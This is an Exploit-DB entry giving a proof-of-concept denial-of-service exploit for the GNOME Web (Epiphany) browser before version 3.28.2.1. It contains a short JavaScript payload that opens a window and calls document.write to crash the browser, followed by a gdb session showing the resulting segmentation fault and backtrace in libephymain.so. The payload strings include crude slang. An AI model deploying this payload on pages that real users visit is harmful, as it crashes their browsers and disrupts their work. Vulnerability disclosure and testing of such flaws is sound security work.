Exploit-DB #44857
Description: Gnome Web (Epiphany) < 3.28.2.1 - Denial of Service
Type: dos
Platform: linux
Date: 2018-06-08
Author: rop

Exploit:
# Title: Gnome Web/Epiphany Browser < 3.28.2.1 - DoS App Crash (PoC)
# Exploit Author: https://github.com/ldpreload
# Date: 2018-06-06
# Link: https://wiki.gnome.org/Apps/Web
# Version: 3.28.2.1

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libephymain.so in GNOME WEB/Epiphany < 3.28.2.1 allows a remote attacker to cause a Denial Of Service and crash the users browser. The cause of this is the "document.write"

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PoC:

<script>
b1tch3z = window.open("https://www.google.com", "bl1ngbl1ng", "width=250,height=250");
b1tch3z.document.write("<p>~ua b1tch3z</p>");

// https://github.com/undergroundagency
// https://github.com/ldpreload
</script>

Video PoC:
https://vimeo.com/273769801

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ld@b1tch3z:~$ gdb epiphany
(gdb) run
Starting program: /usr/bin/epiphany
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

[New Thread 0x7fffdf7ab700 (LWP 23486)]
[New Thread 0x7fffdd929700 (LWP 23487)]
[New Thread 0x7fffdd128700 (LWP 23488)]
[New Thread 0x7fffd7fff700 (LWP 23489)]
[New Thread 0x7fffd77fe700 (LWP 23490)]
[New Thread 0x7fffd6ffd700 (LWP 23491)]
[New Thread 0x7fffd67fc700 (LWP 23492)]
[New Thread 0x7fffd5ffb700 (LWP 23493)]
[New Thread 0x7fffd57fa700 (LWP 23494)]
[New Thread 0x7fff8b4c4700 (LWP 23499)]
[New Thread 0x7fff899bc700 (LWP 23503)]
[New Thread 0x7fff88fff700 (LWP 23506)]
[New Thread 0x7fff6bfff700 (LWP 23507)]
[New Thread 0x7fff6ae5f700 (LWP 23514)]
[New Thread 0x7fff6a65e700 (LWP 23521)]

[Thread 0x7fff6a65e700 (LWP 23521) exited]
[Thread 0x7fffd5ffb700 (LWP 23493) exited]
[New Thread 0x7fffd5ffb700 (LWP 23527)]
[New Thread 0x7fff6a65e700 (LWP 23528)]
[New Thread 0x7fff691f6700 (LWP 23529)]
[New Thread 0x7fff689f5700 (LWP 23530)]
[New Thread 0x7fff43fff700 (LWP 23531)]
[New Thread 0x7fff3b7fe700 (LWP 23532)]
[New Thread 0x7fff437fe700 (LWP 23533)]
[Thread 0x7fff3b7fe700 (LWP 23532) exited]
[Thread 0x7fff899bc700 (LWP 23503) exited]
[Thread 0x7fff691f6700 (LWP 23529) exited]
[Thread 0x7fff689f5700 (LWP 23530) exited]
[Thread 0x7fff437fe700 (LWP 23533) exited]
[Thread 0x7fff43fff700 (LWP 23531) exited]
[Thread 0x7fff6a65e700 (LWP 23528) exited]
[New Thread 0x7fff6a65e700 (LWP 23557)]
[Thread 0x7fffd5ffb700 (LWP 23527) exited]
[New Thread 0x7fffd5ffb700 (LWP 23566)]
[Thread 0x7fff6a65e700 (LWP 23557) exited]
[Thread 0x7fffd5ffb700 (LWP 23566) exited]
[New Thread 0x7fffd5ffb700 (LWP 23591)]
[New Thread 0x7fff6a65e700 (LWP 23592)]
[Thread 0x7fffd5ffb700 (LWP 23591) exited]
[New Thread 0x7fffd5ffb700 (LWP 23597)]
[Thread 0x7fffd5ffb700 (LWP 23597) exited]
[New Thread 0x7fffd5ffb700 (LWP 23612)]
[Thread 0x7fff6a65e700 (LWP 23592) exited]
[Thread 0x7fffd5ffb700 (LWP 23612) exited]
[New Thread 0x7fffd5ffb700 (LWP 23625)]
[New Thread 0x7fff6a65e700 (LWP 23633)]
[Thread 0x7fff6a65e700 (LWP 23633) exited]
[New Thread 0x7fff6a65e700 (LWP 23644)]
[Thread 0x7fff6a65e700 (LWP 23644) exited]
[New Thread 0x7fff6a65e700 (LWP 23648)]
[Thread 0x7fffd5ffb700 (LWP 23625) exited]
[New Thread 0x7fffd5ffb700 (LWP 23652)]
[Thread 0x7fff6a65e700 (LWP 23648) exited]
[New Thread 0x7fff6a65e700 (LWP 23656)]
[Thread 0x7fff6a65e700 (LWP 23656) exited]
[Thread 0x7fffd5ffb700 (LWP 23652) exited]
[New Thread 0x7fffd5ffb700 (LWP 23684)]
[New Thread 0x7fff6a65e700 (LWP 23685)]
[Thread 0x7fffd5ffb700 (LWP 23684) exited]
[New Thread 0x7fffd5ffb700 (LWP 23715)]
[Thread 0x7fff6a65e700 (LWP 23685) exited]
[New Thread 0x7fff6a65e700 (LWP 23741)]
[Thread 0x7fffd5ffb700 (LWP 23715) exited]
[New Thread 0x7fffd5ffb700 (LWP 23773)]
[Thread 0x7fffd5ffb700 (LWP 23773) exited]
[New Thread 0x7fffd5ffb700 (LWP 23811)]
[Thread 0x7fff6a65e700 (LWP 23741) exited]
[New Thread 0x7fff6a65e700 (LWP 23815)]
[Thread 0x7fffd5ffb700 (LWP 23811) exited]
[New Thread 0x7fffd5ffb700 (LWP 23823)]
[Thread 0x7fff6a65e700 (LWP 23815) exited]

Thread 43 "pool" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd5ffb700 (LWP 23823)]
0x00007ffff77bcb2d in ?? () from /usr/lib/epiphany/libephymain.so

(gdb) bt
#0  0x00007ffff77bcb2d in  () at /usr/lib/epiphany/libephymain.so
#1  0x00007ffff6cb7e39 in  () at /usr/lib/libgio-2.0.so.0
#2  0x00007ffff7040463 in  () at /usr/lib/libglib-2.0.so.0
#3  0x00007ffff703fa2a in  () at /usr/lib/libglib-2.0.so.0
#4  0x00007fffefa70075 in start_thread () at /usr/lib/libpthread.so.0
#5  0x00007ffff7b1453f in clone () at /usr/lib/libc.so.6